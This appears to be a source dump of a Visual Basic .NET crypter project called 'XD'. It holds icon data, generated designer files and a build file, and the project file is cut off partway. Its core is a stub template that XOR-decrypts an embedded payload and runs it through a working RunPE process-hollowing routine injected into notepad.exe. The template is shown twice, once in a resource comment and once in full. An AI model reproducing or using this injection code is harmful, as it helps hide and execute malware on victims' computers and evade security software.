/AD8/fwA8v33Csz94DCE/bZ4QZhm2SiJUfYT7m7rFPx16RLwb+syX0X6Pb1zzWz8qJFw9qiNStCCujXB
b9A5wXLOOcNzzTfEcs9N1Ia1dvuuh3D8q44/vXTLNGVH+hPub+sU/HXpEvBv6yeDTvdBmGbahP22ecz9
4DHy/fcK/P38APz9/AD0/fgJ0v3kK479vHA9gVneIt1w4B7oc+AihUvwHvh53ia7ZOVDnGjQfPyygYr9
unJs5J6UUK12vGT8o5lk/KOZUKx2vHHpo5CO/bxvfvyzfkWibM4mumTlHvd53iKES/Ae6nTgItxw4Dx7
VeCM/btx0v3kK/T9+An8/fwA/P38APb9+QfW/eYmmPzCZEGwcMk2+4jILp1c4DrshcUurGPeOPuJxUmx
dMKO/bxvov3IWpb9wGeK/bpxjv28b479vG+M/LtxmP3CZKb8yleQ/b1rSbB0wTj7icUuqmLeOuyFxS6g
Xt42+4jIQbFwyZb9wWXW/eYm9v35B/z9/AD8/fwA9v35Btz96h+m/cpWX9KOpTWJWNtS4o6uXvygoEnE
fb01iVnbbfCkkaL9yFq8/dc/uP3VRbD90Ey0/dJJtP3SSbL90Uu6/dZDvv3YPqT9yVdv76SQNolY3EvF
frxe/KCgUuCOrzeMWtpe0o6lpv3KV9z96h/2/fkG/P38AP///wD4/foD5P3uGLj91USK+rlycOmjkH78
s36E/bZ5fPyxgnDnopCQ/L1tuv3WQ9L95CrU/eUp0P3jK9L95CrS/eQq0P3jK9T95SjU/eUovP3XQZD8
vWtw5qKQfPyxgoT9tnl+/LN+cOmjkIr7uXS4/dVE5P3uGfj9+gP8/fwA////APr9+wHs/fMRzP3gMKr9
zVKe/MVepP3JV6r9zVKi/MhanvzGXrD90E3Q/eMt5P3uGOj98RXm/fAV6P3xFOj98RTo/fEV6P3xFOb9
8BfQ/eMrsP3QTJ79xl6i/chaqv3NUqT9yVec/cRgqv3NUsz94DDs/fMR+v37Af///wD///8A/P38APL9
9wre/eseyP3eM8D92TzG/d01zP3gMcT93DjA/dk8zP3gMOL97Rrw/fUM9P34CfT9+An0/fgH9P34B/T9
+An0/fgH8P31DOL97RnM/eAwwP3ZPMT93DjM/eAxxv3dNcD92TzI/d4z3v3rHvL99wr8/fwA////AP//
/wD8/fwA+P36Bez98w/g/ewc3P3qIeD97B3i/e0Z3v3rHtz96iHi/e0Z7v30Dvj9+gX6/fsB+v37Afr9
+wH6/fsB+v37Afr9+wH4/foF8P31DOL97Rnc/eoh3v3rHuL97Rng/ewd3P3qIeD97Bzs/fMP+P36Bfz9
/AD///8A////AP///wD8/fwA9v35B/D99Qzu/fQP8P31DPL99wrw/fUM7v30D/D99Qz4/foF/P38APz9
/AD///8A////AP///wD///8A/P38APz9/AD4/foF8P31DO799A/w/fUM8v33CvD99Qzu/fQP8P31DPb9
+Qf8/fwA////AP///wD///8A////APz9/AD6/fsB+P36A/j9+gX4/foD+v37A/j9+gP4/foF+P36A/z9
/AD8/fwA////AP///wD///8A////AP///wD///8A/P38APz9/AD4/foD+P36Bfj9+gP6/fsD+P36A/j9
+gX4/foD+v37Afz9/AD///8A////AP///wD///8A////APz9/AD8/fwA/P38APz9/AD8/fwA/P38APz9
/AD8/fwA/P38AP///wD///8A////AP///wD///8A////AP///wD///8A/P38APz9/AD8/fwA/P38APz9
/AD8/fwA/P38APz9/AD8/fwA////AP///wD///8A////////////////////////////////////////
////////44ABx+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH8AAAD/AI
GA/wH/gP8B/4D/s//N////////////////////////////////8oAAAAEAAAACAAAAABACAAAAAAAAAE
AAAAAAAAAAAAAAAAAAAAAAAA////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP//
/wD///8A////AP///wD///8A////AP///wD8/fwA/P38APz9/AD8/fwA/P38APz9/AD8/fwA/P38APz9
/AD8/fwA/P38APz9/AD8/fwA/P38AP///wD8/fwA9P34Ce799A72/fkG8v33Cuz98xHs/fMR8P31DPD9
9Qzs/fMR7P3zEfL99wr2/fkG7v30DvT9+An8/fwA+P36A9b95ibE/dw43P3qH8794i+8/dc/vP3XP8b9
3TXG/d03vP3XP7z91z/O/eEv3P3qH8T93DjW/eYm+P36A/D99Qyl9cdadd+hjKL9yFqH87R1aeCbmWrj
nZh78q2EefGshGrjnZhp4JuZh/O0daL9yFp136GNo/XFWvD99Qzo/fEVbcSRmjFvS+1X7JaoPZ1l1iuG
UO0rlFfqNJdd4DSVXOArklbqLIhT6z6dZtZX65WoMHBL7WvCkJzm/fAV4v3tGmbHj6hXZ178Ko5U7T5z
VPg6i1z6N45c+j5tUfo+a1H6N45c+jyKXPo/dFb4Ko5U7VZmXfxlyY+o4v3tGuD97B1bvISxOnhT+jt0
U/xJZFT9I5FR+CCYUvhIZ1X9SGhW/R+cU/cjkFH4S2VW/TpzUvw4eVP6XbyFr+D97Bzm/e8Xbu6jkA/k
afBGa1X9FMdg+B7eb+Mf02rlD9Bg+hDNYPof1GvlH9xu4xXFX/pFbFX9EeRq8G/wpY7m/fAX7v30Do79
vG8exGTpCuRl+A3XYvY46oPINtt8zRPOYfAUy2DwOdt9yjrqhMYO1mL2CuRl+B3FZOmO/bxu8P31DPb9
+Qek/clZLKNe5xDna+4drVnzT96LtFPNhrQtzHDXL85y1lfQia9S3YyyHq5Z8xDoa+4ro17npP3JWfb9
+Qf4/foDtP3SSTbCcNQqvmjdKtdz2mTRkqGK9rhxc+ikjXPopI2O+LpuZtOUnyrWctoqvmjdNMFv1bL9
0Ur4/foD+v37Acj93jNjz5ChbfWmklrMiqqW+cBnxv3dNcL92zrC/ds6yP3eM5j5wWRay4qqbfWmkmPQ
kKHI/d41+v37Afz9/ADi/e0ZtP3SSLj91USy/dFLzP3gMez98xHu/fQP7v30D+z98w/M/eAxsv3RS7j9
1US0/dJJ4v3tGfz9/AD8/fwA9v35B+b98BXq/fIT5v3wF+799A76/fsB/P38APz9/AD6/fsB7v30Dub9
8Bfq/fIT5v3wFfb9+Qf8/fwA////APz9/AD6/fsD+v37Afr9+wP8/fwA/P38AP///wD///8A/P38APz9
/AD6/fsD+v37Afr9+wP8/fwA////AP//AAD//wAA//8AAP//AADYGwAAgAEAAIABAACAAQAAgAEAAMAD
AADAAwAAwkMAAMfjAAD//wAA//8AAP//AAA=
</value>
</data>
</root>
@@ -0,0 +1,6 @@
Public Class Form2
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Me.Close()
End Sub
End Class
@@ -0,0 +1,38 @@
'------------------------------------------------------------------------------
' <auto-generated>
' This code was generated by a tool.
' Runtime Version:4.0.30319.42000
'
' Changes to this file may cause incorrect behavior and will be lost if
' the code is regenerated.
' </auto-generated>
'------------------------------------------------------------------------------
Option Strict On
Option Explicit On
Namespace My
'NOTE: This file is auto-generated; do not modify it directly. To make changes,
' or if you encounter build errors in this file, go to the Project Designer
' (go to Project Properties or double-click the My Project node in
' Solution Explorer), and make changes on the Application tab.
'
Partial Friend Class MyApplication
<Global.System.Diagnostics.DebuggerStepThroughAttribute()> _
Public Sub New()
MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows)
Me.IsSingleInstance = false
Me.EnableVisualStyles = true
Me.SaveMySettingsOnExit = true
Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses
End Sub
<Global.System.Diagnostics.DebuggerStepThroughAttribute()> _
Protected Overrides Sub OnCreateMainForm()
Me.MainForm = Global.XD.Form1
End Sub
End Class
End Namespace
@@ -0,0 +1,11 @@
<?xml version="1.0" encoding="utf-8"?>
<MyApplicationData xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<MySubMain>true</MySubMain>
<MainForm>Form1</MainForm>
<SingleInstance>false</SingleInstance>
<ShutdownMode>0</ShutdownMode>
<EnableVisualStyles>true</EnableVisualStyles>
<AuthenticationMode>0</AuthenticationMode>
<ApplicationType>0</ApplicationType>
<SaveMySettingsOnExit>true</SaveMySettingsOnExit>
</MyApplicationData>
@@ -0,0 +1,35 @@
Imports System
Imports System.Reflection
Imports System.Runtime.InteropServices
' General Information about an assembly is controlled through the following
' set of attributes. Change these attribute values to modify the information
' associated with an assembly.
' Review the values of the assembly attributes
<Assembly: AssemblyTitle("Enjoy ;)")>
<Assembly: AssemblyDescription("")>
<Assembly: AssemblyCompany("okmijnlp")>
<Assembly: AssemblyProduct("??? XD")>
<Assembly: AssemblyCopyright("Copyright © 2011")>
<Assembly: AssemblyTrademark("")>
<Assembly: ComVisible(False)>
'The following GUID is for the ID of the typelib if this project is exposed to COM
<Assembly: Guid("828741a4-b38d-4b48-a057-fd034a7fe0b9")>
' Version information for an assembly consists of the following four values:
'
' Major Version
' Minor Version
' Build Number
' Revision
'
' You can specify all the values or you can default the Build and Revision Numbers
' by using the '*' as shown below:
' <Assembly: AssemblyVersion("1.0.*")>
<Assembly: AssemblyVersion("1.0.0.0")>
<Assembly: AssemblyFileVersion("3.1.4.2")>
@@ -0,0 +1,96 @@
'------------------------------------------------------------------------------
' <auto-generated>
' This code was generated by a tool.
' Runtime Version:4.0.30319.42000
'
' Changes to this file may cause incorrect behavior and will be lost if
' the code is regenerated.
' </auto-generated>
'------------------------------------------------------------------------------
Option Strict On
Option Explicit On
Imports System
Namespace My.Resources
'This class was auto-generated by the StronglyTypedResourceBuilder
'class via a tool like ResGen or Visual Studio.
'To add or remove a member, edit your .ResX file then rerun ResGen
'with the /str option, or rebuild your VS project.
'''<summary>
''' A strongly-typed resource class, for looking up localized strings, etc.
'''</summary>
<Global.System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0"), _
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
Global.Microsoft.VisualBasic.HideModuleNameAttribute()> _
Friend Module Resources
Private resourceMan As Global.System.Resources.ResourceManager
Private resourceCulture As Global.System.Globalization.CultureInfo
'''<summary>
''' Returns the cached ResourceManager instance used by this class.
'''</summary>
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager
Get
If Object.ReferenceEquals(resourceMan, Nothing) Then
Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("XD.Resources", GetType(Resources).Assembly)
resourceMan = temp
End If
Return resourceMan
End Get
End Property
'''<summary>
''' Overrides the current thread's CurrentUICulture property for all
''' resource lookups using this strongly typed resource class.
'''</summary>
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
Friend Property Culture() As Global.System.Globalization.CultureInfo
Get
Return resourceCulture
End Get
Set
resourceCulture = value
End Set
End Property
'''<summary>
''' Looks up a localized resource of type System.Drawing.Bitmap.
'''</summary>
Friend ReadOnly Property images() As System.Drawing.Bitmap
Get
Dim obj As Object = ResourceManager.GetObject("images", resourceCulture)
Return CType(obj,System.Drawing.Bitmap)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to Imports System, Microsoft.VisualBasic
'''Imports System.Runtime.InteropServices
'''Imports System.Text
'''Module %1%
'''Sub Main()
'''
'''Dim %2% As String = %3%
'''Dim %4% As Byte() = decrypt(Convert.FromBase64String(%2%),&quot;okmijnlp&quot;)
'''Randomize()
'''System.Text.Encoding.GetEncoding(1252).GetBytes(%3%)
'''RunPE.InjectPE(%4%, Environment.SystemDirectory(0) &amp; &quot;:\Windows\notepad.exe&quot;)
'''End
'''End Sub
'''Function decrypt(ByVal message As Byte(), ByVal password As String) As Byte()
''' Dim passarr As Byte() = System.Text.Encodin [rest of string was truncated]&quot;;.
'''</summary>
Friend ReadOnly Property source() As String
Get
Return ResourceManager.GetString("source", resourceCulture)
End Get
End Property
End Module
End Namespace
@@ -0,0 +1,127 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<assembly alias="System.Windows.Forms" name="System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />
<data name="source" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\source.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
</data>
<data name="images" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\images.jpg;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
</root>
@@ -0,0 +1,73 @@
'------------------------------------------------------------------------------
' <auto-generated>
' This code was generated by a tool.
' Runtime Version:4.0.30319.42000
'
' Changes to this file may cause incorrect behavior and will be lost if
' the code is regenerated.
' </auto-generated>
'------------------------------------------------------------------------------
Option Strict On
Option Explicit On
Namespace My
<Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
Global.System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "14.0.0.0"), _
Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
Partial Friend NotInheritable Class MySettings
Inherits Global.System.Configuration.ApplicationSettingsBase
Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings)
#Region "My.Settings Auto-Save Functionality"
#If _MyType = "WindowsForms" Then
Private Shared addedHandler As Boolean
Private Shared addedHandlerLockObject As New Object
<Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs)
If My.Application.SaveMySettingsOnExit Then
My.Settings.Save()
End If
End Sub
#End If
#End Region
Public Shared ReadOnly Property [Default]() As MySettings
Get
#If _MyType = "WindowsForms" Then
If Not addedHandler Then
SyncLock addedHandlerLockObject
If Not addedHandler Then
AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings
addedHandler = True
End If
End SyncLock
End If
#End If
Return defaultInstance
End Get
End Property
End Class
End Namespace
Namespace My
<Global.Microsoft.VisualBasic.HideModuleNameAttribute(), _
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute()> _
Friend Module MySettingsProperty
<Global.System.ComponentModel.Design.HelpKeywordAttribute("My.Settings")> _
Friend ReadOnly Property Settings() As Global.XD.My.MySettings
Get
Return Global.XD.My.MySettings.Default
End Get
End Property
End Module
End Namespace
@@ -0,0 +1,7 @@
<?xml version='1.0' encoding='utf-8'?>
<SettingsFile xmlns="http://schemas.microsoft.com/VisualStudio/2004/01/settings" CurrentProfile="(Default)" UseMySettingsClassName="true">
<Profiles>
<Profile Name="(Default)" />
</Profiles>
<Settings />
</SettingsFile>
Binary file not shown.

After

Width:  |  Height:  |  Size: 1.0 KiB

@@ -0,0 +1,115 @@
Imports System, Microsoft.VisualBasic
Imports System.Runtime.InteropServices
Imports System.Text
Module %1%
Sub Main()
Dim %2% As String = %3%
Dim %4% As Byte() = decrypt(Convert.FromBase64String(%2%),"okmijnlp")
Randomize()
System.Text.Encoding.GetEncoding(1252).GetBytes(%3%)
RunPE.InjectPE(%4%, Environment.SystemDirectory(0) & ":\Windows\notepad.exe")
End
End Sub
Function decrypt(ByVal message As Byte(), ByVal password As String) As Byte()
Dim passarr As Byte() = System.Text.Encoding.Default.GetBytes(password)
Dim rand1 As Integer = message(message.Length - 1) Xor 112
Dim outarr(message.Length) As Byte
Dim u1 As Integer
For i1 As Integer = 0 To message.Length - 1
outarr(i1) = (message(i1) Xor rand1) Xor passarr(u1)
If u1 = password.Length - 1 Then u1 = 0 Else u1 = u1 + 1
Next
ReDim Preserve outarr(message.Length - 2)
Return outarr
End Function
End Module
Public Class RunPE
<DllImport("kernel32")> _
Private Shared Function CreateProcess(ByVal appName As String, ByVal commandLine As StringBuilder, ByVal procAttr As IntPtr, ByVal thrAttr As IntPtr, <MarshalAs(UnmanagedType.Bool)> ByVal inherit As Boolean, ByVal creation As Integer, _
ByVal env As IntPtr, ByVal curDir As String, ByVal sInfo As Byte(), ByVal pInfo As IntPtr()) As <MarshalAs(UnmanagedType.Bool)> Boolean
End Function
<DllImport("kernel32")> _
Private Shared Function GetThreadContext(ByVal hThr As IntPtr, ByVal ctxt As UInteger()) As <MarshalAs(UnmanagedType.Bool)> Boolean
End Function
<DllImport("ntdll")> _
Private Shared Function NtUnmapViewOfSection(ByVal hProc As IntPtr, ByVal baseAddr As IntPtr) As UInteger
End Function
<DllImport("kernel32")> _
Private Shared Function ReadProcessMemory(ByVal hProc As IntPtr, ByVal baseAddr As IntPtr, ByRef bufr As IntPtr, ByVal bufrSize As Integer, ByRef numRead As IntPtr) As <MarshalAs(UnmanagedType.Bool)> Boolean
End Function
<DllImport("kernel32.dll")> _
Private Shared Function ResumeThread(ByVal hThread As IntPtr) As UInteger
End Function
<DllImport("kernel32")> _
Private Shared Function SetThreadContext(ByVal hThr As IntPtr, ByVal ctxt As UInteger()) As <MarshalAs(UnmanagedType.Bool)> Boolean
End Function
<DllImport("kernel32")> _
Private Shared Function VirtualAllocEx(ByVal hProc As IntPtr, ByVal addr As IntPtr, ByVal sizel As IntPtr, ByVal allocType As Integer, ByVal prot As Integer) As IntPtr
End Function
<DllImport("kernel32", CharSet:=CharSet.Auto, SetLastError:=True)> _
Private Shared Function VirtualProtectEx(ByVal hProcess As IntPtr, ByVal lpAddress As IntPtr, ByVal dwSize As IntPtr, ByVal flNewProtect As UInteger, ByRef lpflOldProtect As UInteger) As Boolean
End Function
<DllImport("kernel32.dll", SetLastError:=True)> _
Private Shared Function WriteProcessMemory(ByVal hProcess As IntPtr, ByVal lpBaseAddress As IntPtr, ByVal lpBuffer As Byte(), ByVal nSize As UInteger, ByVal lpNumberOfBytesWritten As Integer) As Boolean
End Function
Public Shared Function InjectPE(ByVal bytes As Byte(), ByVal surrogateProcess As String) As Boolean
Try
Dim procAttr As IntPtr = IntPtr.Zero
Dim processInfo As IntPtr() = New IntPtr(3) {}
Dim startupInfo As Byte() = New Byte(67) {}
Dim num2 As Integer = BitConverter.ToInt32(bytes, 60)
Dim num As Integer = BitConverter.ToInt16(bytes, num2 + 6)
Dim ptr4 As New IntPtr(BitConverter.ToInt32(bytes, num2 + &H54))
If CreateProcess(Nothing, New StringBuilder(surrogateProcess), procAttr, procAttr, False, 4, _
procAttr, Nothing, startupInfo, processInfo) Then
Dim ctxt As UInteger() = New UInteger(178) {}
ctxt(0) = &H10002
If GetThreadContext(processInfo(1), ctxt) Then
Dim baseAddr As New IntPtr(ctxt(&H29) + 8L)
Dim buffer__1 As IntPtr = IntPtr.Zero
Dim bufferSize As New IntPtr(4)
Dim numRead As IntPtr = IntPtr.Zero
If ReadProcessMemory(processInfo(0), baseAddr, buffer__1, CInt(bufferSize), numRead) AndAlso (NtUnmapViewOfSection(processInfo(0), buffer__1) = 0) Then
Dim addr As New IntPtr(BitConverter.ToInt32(bytes, num2 + &H34))
Dim sizel As New IntPtr(BitConverter.ToInt32(bytes, num2 + 80))
Dim lpBaseAddress As IntPtr = VirtualAllocEx(processInfo(0), addr, sizel, &H3000, &H40)
Dim lpNumberOfBytesWritten As Integer
WriteProcessMemory(processInfo(0), lpBaseAddress, bytes, CUInt(CInt(ptr4)), lpNumberOfBytesWritten)
Dim num5 As Integer = num - 1
For i As Integer = 0 To num5
Dim dst As Integer() = New Integer(9) {}
Buffer.BlockCopy(bytes, (num2 + &HF8) + (i * 40), dst, 0, 40)
Dim buffer2 As Byte() = New Byte((dst(4) - 1)) {}
Buffer.BlockCopy(bytes, dst(5), buffer2, 0, buffer2.Length)
sizel = New IntPtr(lpBaseAddress.ToInt32() + dst(3))
addr = New IntPtr(buffer2.Length)
WriteProcessMemory(processInfo(0), sizel, buffer2, CUInt(addr), lpNumberOfBytesWritten)
Next
sizel = New IntPtr(ctxt(&H29) + 8L)
addr = New IntPtr(4)
WriteProcessMemory(processInfo(0), sizel, BitConverter.GetBytes(lpBaseAddress.ToInt32()), CUInt(addr), lpNumberOfBytesWritten)
ctxt(&H2C) = CUInt(lpBaseAddress.ToInt32() + BitConverter.ToInt32(bytes, num2 + 40))
SetThreadContext(processInfo(1), ctxt)
End If
End If
ResumeThread(processInfo(1))
End If
Catch
Return False
End Try
Return True
End Function
End Class
@@ -0,0 +1,151 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="14.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProductVersion>9.0.21022</ProductVersion>
<SchemaVersion>2.0</SchemaVersion>
<ProjectGuid>{F061F309-A39A-4771-83A1-E1FD12485F7A}</ProjectGuid>
<OutputType>WinExe</OutputType>
<StartupObject>XD.My.MyApplication</StartupObject>
<RootNamespace>XD</RootNamespace>
<AssemblyName>WindowsApplication1</AssemblyName>
<FileAlignment>512</FileAlignment>
<MyType>WindowsForms</MyType>
<TargetFrameworkVersion>v3.5</TargetFrameworkVersion>
<OptionExplicit>On</OptionExplicit>
<OptionCompare>Binary</OptionCompare>
<OptionStrict>Off</OptionStrict>
<OptionInfer>On</OptionInfer>
<ApplicationIcon>favicon.ico</ApplicationIcon>
<FileUpgradeFlags>
</FileUpgradeFlags>
<UpgradeBackupLocation>
</UpgradeBackupLocation>
<OldToolsVersion>3.5</OldToolsVersion>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<DefineDebug>true</DefineDebug>
<DefineTrace>true</DefineTrace>
<OutputPath>bin\Debug\</OutputPath>
<DocumentationFile>WindowsApplication1.xml</DocumentationFile>
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022,42353,42354,42355</NoWarn>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<DebugType>pdbonly</DebugType>
<DefineDebug>false</DefineDebug>
<DefineTrace>true</DefineTrace>
<Optimize>true</Optimize>
<OutputPath>..\..\..\</OutputPath>
<DocumentationFile>WindowsApplication1.xml</DocumentationFile>
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022,42353,42354,42355</NoWarn>
</PropertyGroup>
<ItemGroup>
<Reference Include="Dissembler Lib, Version=1.0.0.0, Culture=neutral, processorArchitecture=MSIL">
<SpecificVersion>False</SpecificVersion>
<HintPath>..\..\..\..\My Documents\Downloads\Dissembler Lib.dll</HintPath>
</Reference>
<Reference Include="System" />
<Reference Include="System.Data" />
<Reference Include="System.Deployment" />
<Reference Include="System.Drawing" />
<Reference Include="System.Windows.Forms" />
<Reference Include="System.Xml" />
<Reference Include="System.Core">
<RequiredTargetFramework>3.5</RequiredTargetFramework>
</Reference>
<Reference Include="System.Xml.Linq">
<RequiredTargetFramework>3.5</RequiredTargetFramework>
</Reference>
<Reference Include="System.Data.DataSetExtensions">
<RequiredTargetFramework>3.5</RequiredTargetFramework>
</Reference>
</ItemGroup>
<ItemGroup>
<Import Include="Microsoft.VisualBasic" />
<Import Include="System" />
<Import Include="System.Collections" />
<Import Include="System.Collections.Generic" />
<Import Include="System.Data" />
<Import Include="System.Drawing" />
<Import Include="System.Diagnostics" />
<Import Include="System.Windows.Forms" />
<Import Include="System.Linq" />
<Import Include="System.Xml.Linq" />
</ItemGroup>
<ItemGroup>
<Compile Include="Form1.vb">
<SubType>Form</SubType>
</Compile>
<Compile Include="Form1.Designer.vb">
<DependentUpon>Form1.vb</DependentUpon>
<SubType>Form</SubType>
</Compile>
<Compile Include="Form2.Designer.vb">
<DependentUpon>Form2.vb</DependentUpon>
</Compile>
<Compile Include="Form2.vb">
<SubType>Form</SubType>
</Compile>
<Compile Include="iCompiler.vb" />
<Compile Include="My Project\AssemblyInfo.vb" />
<Compile Include="My Project\Application.Designer.vb">
<AutoGen>True</AutoGen>
<DependentUpon>Application.myapp</DependentUpon>
</Compile>
<Compile Include="My Project\Resources.Designer.vb">
<AutoGen>True</AutoGen>
<DesignTime>True</DesignTime>
<DependentUpon>Resources.resx</DependentUpon>
</Compile>
<Compile Include="My Project\Settings.Designer.vb">
<AutoGen>True</AutoGen>
<DependentUpon>Settings.settings</DependentUpon>
<DesignTimeSharedInput>True</DesignTimeSharedInput>
</Compile>
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="Form1.resx">
<DependentUpon>Form1.vb</DependentUpon>
<SubType>Designer</SubType>
</EmbeddedResource>
<EmbeddedResource Include="Form2.resx">
<DependentUpon>Form2.vb</DependentUpon>
<SubType>Designer</SubType>
</EmbeddedResource>
<EmbeddedResource Include="My Project\Resources.resx">
<Generator>VbMyResourcesResXFileCodeGenerator</Generator>
<LastGenOutput>Resources.Designer.vb</LastGenOutput>
<CustomToolNamespace>My.Resources</CustomToolNamespace>
<SubType>Designer</SubType>
</EmbeddedResource>
</ItemGroup>
<ItemGroup>
<None Include="My Project\Application.myapp">
<Generator>MyApplicationCodeGenerator</Generator>
<LastGenOutput>Application.Designer.vb</LastGenOutput>
</None>
<None Include="My Project\Settings.settings">
<Generator>SettingsSingleFileGenerator</Generator>
